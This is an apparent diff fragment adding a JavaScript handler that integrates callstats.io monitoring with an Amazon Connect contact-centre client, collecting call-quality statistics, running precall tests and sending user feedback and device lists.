+ const enableJabraCollection = ENABLE_JABRA_COLLECTION === 'enable';
15
+ const siteIds = ['HQ', 'Remote', 'Home'];
16
+
17
+ const ccpUrl = () => {
18
+ const connectURL = databaseManager.getDefaultConnectURL(CONNECT_URL || WEB_PACK_CONNECT_URL);
19
+ return `https://${connectURL}/connect/ccp#/`;
20
+ };
21
+
22
+ class CSIOHandler {
23
+ constructor () {
24
+ this.callstatsac = undefined;
25
+ this.dispatch = undefined;
26
+ this.localUserId = undefined;
27
+ // eslint-disable-next-line new-cap
28
+ this.agentMonitor = new callstatsAgentMonitor();
29
+ }
30
+
31
+ /**
32
+ * @private
33
+ * @return {string} Return a site id from given site id list
34
+ */
35
+ getRandomSiteId () {
36
+ return siteIds[ getRandomInt(1, siteIds.length) - 1 ];
37
+ }
38
+ // eslint-disable-next-line handle-callback-err
39
+ onCSIOInitialize (err, msg) {
40
+ // console.warn('->', 'onCSIOInitialize', new Date(), err, msg);
41
+ }
42
+
43
+ onCSIOStats (stats) {
44
+ // console.warn('->onCSIOStats', stats);
45
+ if (stats && stats.fabricState === 'terminated') {
46
+ return;
47
+ }
48
+
49
+ if (stats && stats.mediaStreamTracks) {
50
+ let track1 = lo.first(stats.mediaStreamTracks);
51
+ let track2 = lo.last(stats.mediaStreamTracks);
52
+
53
+ // console.warn('~', stats);
54
+ let audioIntputLevel = parseInt(track1.audioIntputLevel || track2.audioIntputLevel || 0, 10);
55
+ let audioOutputLevel = parseInt(track1.audioOutputLevel || track2.audioOutputLevel || 0, 10);
56
+
57
+ let track1Bitrate = parseInt(track1.bitrate || 0, 10);
58
+ let track2Bitrate = parseInt(track2.bitrate || 0, 10);
59
+ let track1RTT = parseInt(track1.rtt || 0, 10);
60
+ // no rtt for inbound tracks.
61
+ // let track2RTT = parseInt(track1.rtt || 0, 10);
62
+
63
+ let track1Fl = parseInt(track1.fractionLoss || 0, 10);
64
+ let track2Fl = parseInt(track2.fractionLoss || 0, 10);
65
+
66
+ // console.warn('-> ', 'on csio stats', stats);
67
+ networkStrengthMonitor.addThroughput(track1Bitrate, track2Bitrate);
68
+ networkStrengthMonitor.addRTT(track1RTT, track1RTT);
69
+ networkStrengthMonitor.addRTT(track1Fl, track2Fl);
70
+ audioFrequencyMonitor.addAudioLevel(audioIntputLevel, false);
71
+ audioFrequencyMonitor.addAudioLevel(audioOutputLevel, true);
72
+ }
73
+ }
74
+
75
+ getRemoteStream () {
76
+ const pc = CallstatsAmazonShim && CallstatsAmazonShim.getPeerConnection();
77
+ if (!pc) {
78
+ return undefined;
79
+ }
80
+ const remoteStreams = pc.getRemoteStreams();
81
+ return remoteStreams && lo.get(remoteStreams, 0, undefined);
82
+ }
83
+
84
+ doPrecallTest () {
85
+ return new Promise((resolve) => {
86
+ if (CallstatsAmazonShim) {
87
+ CallstatsAmazonShim.makePrecallTest((status, result) => {
88
+ // console.warn('-> ', 'on precall test', status, result);
89
+ let testResult = databaseManager.savePrecalltestResult(result);
90
+
91
+ let throughput = lo.get(result, 'throughput', 0);
92
+ let rtt = lo.get(result, 'rtt', 0);
93
+ let fractionalLoss = lo.get(result, 'fractionalLoss', 0);
94
+ networkStrengthMonitor.addThroughput(throughput, throughput);
95
+ networkStrengthMonitor.addRTT(rtt, rtt);
96
+ networkStrengthMonitor.addFractionalLoss(fractionalLoss, fractionalLoss);
97
+ resolve(testResult);
98
+ });
99
+ }
100
+ });
101
+ }
102
+
103
+ onCSIORecommendedConfigCallback (config) {
104
+ // console.warn('->', 'onCSIORecommendedConfigCallback', new Date(), config);
105
+ }
106
+
107
+ onCSIOPrecalltestCallback (status, result) {
108
+ // console.warn('-> ', 'on precall test', status, result);
109
+ databaseManager.savePrecalltestResult(result);
110
+ let throughput = lo.get(result, 'throughput', 0);
111
+ let rtt = lo.get(result, 'rtt', 0);
112
+ let fractionalLoss = lo.get(result, 'fractionalLoss', 0);
113
+ networkStrengthMonitor.addThroughput(throughput, throughput);
114
+ networkStrengthMonitor.addRTT(rtt, rtt);
115
+ networkStrengthMonitor.addFractionalLoss(fractionalLoss, fractionalLoss);
116
+ }
117
+
118
+ dispose () {
119
+ this.dispatch = undefined;
120
+ }
121
+
122
+ register (dispatch = undefined, agent = undefined) {
123
+ this.dispatch && this.dispose();
124
+ this.dispatch = dispatch;
125
+
126
+ if (!agent) {
127
+ // console.error('agent object cannot be empty');
128
+ return;
129
+ }
130
+ if (!CallstatsAmazonShim) {
131
+ // console.error('CallstatsAmazonShim object cannot be empty');
132
+ return;
133
+ }
134
+ const localUserId = agent.getName();
135
+ this.localUserId = localUserId;
136
+ const configParams = {
137
+ siteID: this.getRandomSiteId(),
138
+ enableJabraCollection: enableJabraCollection
139
+ };
140
+
141
+ if (this.callstatsac) {
142
+ this.callstatsac = undefined;
143
+ }
144
+
145
+ this.callstatsac = CallstatsAmazonShim.initialize(connect, appId, appSecret, localUserId, configParams, this.onCSIOInitialize, this.onCSIOStats);
146
+ this.callstatsac.on('recommendedConfig', this.onCSIORecommendedConfigCallback.bind(this));
147
+ this.callstatsac.on('preCallTestResults', this.onCSIOPrecalltestCallback.bind(this));
148
+
149
+ // add agent monitor
150
+ if (this.agentMonitor && typeof this.agentMonitor.initialize === 'function') {
151
+ this.agentMonitor.initialize(connect, ccpUrl(), appId, appSecret, localUserId, configParams);
152
+ }
153
+ }
154
+
155
+ // Quick hack to send feedback in structural way before we have a API for that
156
+ postProcessFeedback (feedbackJSON = {}) {
157
+ let markedFeedback = [];
158
+ for (let currentIssue of feedbackJSON.issueList || []) {
159
+ for (let issue of currentIssue.items || []) {
160
+ if (issue.marked === true) {
161
+ markedFeedback.push(issue.text);
162
+ }
163
+ }
164
+ }
165
+ return markedFeedback;
166
+ }
167
+
168
+ sendFeedback (feedbackJSON = {}) {
169
+ let markedFeedbackList = this.postProcessFeedback(feedbackJSON);
170
+ let feedbackText = `${[feedbackJSON.feedbackText, ...markedFeedbackList].join(' ,')}`;
171
+ const feedback = {
172
+ userId: this.localUserId,
173
+ overall: Math.max(feedbackJSON.feedbackRatings, 1),
174
+ comment: feedbackText
175
+ };
176
+ CallstatsAmazonShim.sendUserFeedback(feedback, msg => {
177
+ // console.warn('on submitted feedback ', msg);
178
+ });
179
+ }
180
+
181
+ sendFeedbackRating (feedbackRating = 1) {
182
+ const feedback = {
183
+ userId: this.localUserId,
184
+ overall: Math.max(feedbackRating, 1)
185
+ };
186
+ CallstatsAmazonShim.sendUserFeedback(feedback, msg => {
187
+ // console.warn('on submitted rating ', msg);
188
+ });
189
+ }
190
+
191
+ sendActiveDeviceList () {
192
+ mediaManager.getDefaultOrPreferredAudioInputDevice()
193
+ .then(activeAudioDevice => {
194
+ const eventData = {
195
+ deviceList: [activeAudioDevice]
196
+ };
197
+ CallstatsAmazonShim.sendFabricEvent(this.callstatsac.fabricEvent.activeDeviceList, eventData);
198
+ })
199
+ .catch(() => {});
200
+ }
201
+ }
202
+
203
+ const csioHandler = new CSIOHandler();
204
+ export default csioHandler;